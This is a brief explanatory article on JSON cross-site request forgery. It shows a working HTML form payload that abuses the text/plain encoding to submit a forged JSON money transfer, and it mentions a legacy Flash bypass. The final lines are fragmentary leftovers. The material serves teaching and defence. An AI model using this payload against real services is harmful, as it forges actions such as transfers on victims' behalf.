JSON CSRF is a variant of Cross-Site Request Forgery targeting endpoints that expect JSON payloads. While browsers restrict cross-origin requests with application/json content-type, various techniques can bypass these protections.
Browsers enforce the Same-Origin Policy and trigger CORS preflight for non-simple requests. JSON with proper content-type should trigger preflight, but misconfigurations and bypass techniques exist.
Using text/plain (doesn't trigger preflight):
<form action="https://api.example.com/transfer"
method="POST"
enctype="text/plain">
<input name='{"to":"attacker","amount":1000,"ignore":"' value='"}' />
</form>
// Sends: {"to":"attacker","amount":1000,"ignore":"="}
// If server ignores Content-Type, this works!
Flash-based bypass (legacy):
// Flash could set custom Content-Type headers
// Mitigated in modern browsers
Access-Control-Allow-Origin: * with credentials)Content-Type: application/json